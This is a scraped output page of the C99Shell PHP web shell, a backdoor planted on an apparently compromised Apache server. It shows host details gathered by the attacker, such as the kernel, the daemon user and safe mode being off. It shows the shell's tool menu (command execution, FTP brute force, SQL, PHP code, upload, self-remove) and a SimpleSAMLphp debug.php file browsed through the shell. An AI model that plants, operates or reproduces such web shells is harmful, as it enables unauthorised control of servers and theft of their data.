!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/simplesamlphp/modules/saml2debug/www/   drwxrwxr-x
Free 13.81 GB of 61.93 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     debug.php (2.11 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

$config 
SimpleSAML_Configuration::getInstance();


function 
getValue($raw) {
    
    
$val $raw;
    
    
$url parse_url($rawPHP_URL_QUERY);
    if (!empty(
$url)) $val $url;
    
    
$arr = array();
    
$query parse_str($val$arr);

    
#echo('<pre>');print_r($arr);
    
    
if (array_key_exists('SAMLResponse'$arr)) return $arr['SAMLResponse'];
    if (
array_key_exists('SAMLRequest'$arr)) return $arr['SAMLRequest'];
    if (
array_key_exists('LogoutRequest'$arr)) return $arr['LogoutRequest'];
    if (
array_key_exists('LogoutResponse'$arr)) return $arr['LogoutResponse'];

    return 
rawurldecode(stripslashes($val));
}

function 
decode($raw) {
    
$message getValue($raw);
    
#echo 'using value: ' . $message; exit;
    
    
$base64decoded base64_decode($message);
    
$gzinflated gzinflate($base64decoded);
    if (
$gzinflated != FALSE) {
        
$base64decoded $gzinflated;
    }
    
$decoded htmlspecialchars($base64decoded);
    return 
$decoded;
}

function 
encode($message) {
    if (!
array_key_exists('binding'$_REQUEST)) throw new Exception('missing binding');
    if (
$_REQUEST['binding'] === 'redirect') {
        return 
urlencode(base64_encode(gzdeflate(stripslashes($message))));
    } else {
        return 
base64_encode(stripslashes($message));
    }
}


$decoded '';
$encoded 'fZJNT%2BMwEIbvSPwHy%2Fd8tMvHympSdUGISuwS0cCBm%2BtMUwfbk%2FU4zfLvSVMq2Euv45n3fd7xzOb%2FrGE78KTRZXwSp5yBU1hpV2f8ubyLfvJ5fn42I2lNKxZd2Lon%2BNsBBTZMOhLjQ8Y77wRK0iSctEAiKLFa%2FH4Q0zgVrceACg1ny9uMy7rCdaM2%2Bs0BWrtppK2UAdeoVjW2ruq1bevGImcvR6zpHmtJ1MHSUZAuDKU0vY7Si2h6VU5%2BiMuJuLx65az4dPql3SHBKaz1oYnEfVkWUfG4KkeBna7A%2Fxm6M14j1gZihZazBRH4MODcoKPOgl%2BB32kFz08PGd%2BG0JJIkr7v46%2BhRCaEpod17DCRivYZCkmkd4N28B3wfNyrGKP5bws9DS6PKDz%2FMpsl36Tyz%2F%2Fax1jeFmi0emcLY7C%2F8SDD0Z7dobcynHbbV3QVbcZW0TlqQemNhoqzJD%2B4%2Fn8Yw7l8AA%3D%3D';

$activeTab 0;

if (
array_key_exists('encoded'$_REQUEST)) {
    
$decoded decode($_REQUEST['encoded']); 
    
$activeTab 1;
}
if (
array_key_exists('decoded'$_REQUEST)) {
    
$encoded encode($_REQUEST['decoded']);
}

$t = new SimpleSAML_XHTML_Template($config'saml2debug:debug.tpl.php');
$t->data['encoded'] = $encoded;
$t->data['decoded'] = $decoded;
$t->data['activeTab'] = $activeTab;
$t->show();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.9507 ]--